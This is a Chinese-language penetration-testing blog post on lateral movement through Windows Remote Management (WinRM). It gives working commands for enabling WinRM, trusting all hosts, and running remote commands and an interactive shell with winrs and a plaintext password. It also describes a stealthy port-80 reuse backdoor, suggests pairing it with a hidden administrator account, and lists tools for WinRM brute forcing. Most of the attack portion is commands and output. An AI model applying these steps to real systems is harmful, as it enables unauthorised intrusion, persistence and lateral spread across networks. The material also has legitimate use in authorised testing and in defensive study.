内网渗透|基于winRM的横向移动

内网渗透|基于winRM的横向移动

基于winRM的横向移动

winRM简介

WinRM(Windows Remote Management)是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种。

作为DCOM和WMI远程管理的替代方法,WinRM用于通过WSMan与远程计算机建立会话,WSMan利用HTTP/S作为传输机制来传递XML格式的消息。在现代Windows系统中,WinRM HTTP通过TCP端口5985进行通信,而HTTPS(TLS)通过TCP端口5986进行通信。

WinRM本机支持NTLM和Kerberos(域)身份验证。初始身份验证后,WinRM会话将使用AES加密(Microsoft Docs)保护。

注意:必须配置并运行WinRM服务才能接受远程连接。WinRM接受连接可能还需要几个步骤。请参阅这篇 Pentest Lab 文章 以了解更多信息。

※ winRM横向移动同时适用于工作组和域环境。

利用条件

通信的双方都需要开启WinRM服务

WinRS 适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。

只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。

WinRM状态查询

1
2
3
4
5
6
7
8
PS C:\Users\Administrator> Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}                    

ExitCode : 1077
Name : WinRM
ProcessId : 0
StartMode : Manual
State : Stopped
Status : OK

开启可以使用下面其中一条命令即可

1
2
winrm quickconfig -q #这条命令运行后会自动添加防火墙例外规则,放行5985端口。
Enable-PSRemoting -Force

再次查询

1
2
3
4
5
6
7
8
PS C:\Users\Administrator> Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

ExitCode : 0
Name : WinRM
ProcessId : 1128
StartMode : Auto
State : Running
Status : OK

服务端防火墙允许WinRM服务端口通信

默认为5985、5986;如果5985打开,但是5986关闭,标识WinRM服务配置为仅接受HTTP连接。修改默认端口可以使用如下:

1
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

WinRM通信两端配置要求

1)查看WinRM具体配置

1
winrm get winrm/config

2)允许所有客户端IP连接

1
2
winrm set winrm/config/Client @{TrustedHosts="*"}
winrm e winrm/config/listener #查看监听地址和端口

远程管理

远程连接时可能会遇到以下错误

1
2
3
Winrs error:WinRM 客户端无法处理该请求。可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置 TrustedHosts 的详细信息,请运行以下命令: winrm help config。

Winrs error:WinRM 客户端无法处理该请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入到域中,则必须使用 HTTPS 传输或者必须将目标计算机添加到 TrustedHosts 配置设置。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 通过运行以下命令 可获得有关此内容的更多信息: winrm help config。

在你的攻击机上执行下面这条命令,设置为信任所有主机,再去连接即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\Administrator>winrm set winrm/config/Client @{TrustedHosts="*"}
Client
NetworkDelayms = 5000
URLPrefix = wsman
AllowUnencrypted = false
Auth
Basic = true
Digest = true
Kerberos = true
Negotiate = true
Certificate = true
CredSSP = false
DefaultPorts
HTTP = 5985
HTTPS = 5986
TrustedHosts = *

远程命令执行

1
2
C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami
win-win7\administrator

获取交互式的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% cmd
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\Administrator>ipconfig

Windows IP 配置

以太网适配器 本地连接:

连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::95c8:a481:b587:2d7c%11
IPv4 地址 . . . . . . . . . . . . : 192.168.86.114
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.86.1

隧道适配器 isatap.{993CBC2D-5164-415A-A70E-00FF0F6119D5}:

媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :

利用工具

WSMan-WinRM

使用WSMan.Automation COM对象通过WinRM执行远程命令。

https://github.com/bohops/WSMan-WinRM

Ladon

模块功能 目标端口 目标系统 使用教程
Winrm爆破 5985/5986端口 Windows http://k8gege.org/Ladon/WinrmScan.html
WinrmExec 5985 Windows http://k8gege.org/Ladon/WinrmExec.html

其他利用

开启远程主机3389

如果目标开启了WinRM可以利用PeekABoo工具使目标开启3389

端口复用后门

将WinRM监听端口由5985改为80或者443,即使端口被web服务也不影响,并且不影响web服务。利用如下

1)配置目标WinRM服务,更改监听端口开启复用

1
2
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

2)链接目标

1
winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami

该方法适用于有web服务的机器,不会开启新的端口,配合添加隐藏管理员用户,隐蔽性极高。

参考引用:

http://t3ngyu.leanote.com/post/LM-WinRM-WinRS

https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/

https://xz.aliyun.com/t/6888

https://www.cnblogs.com/-mo-/p/12019314.html

作者

Se7en

发布于

2020-08-26

更新于

2022-03-31

许可协议

评论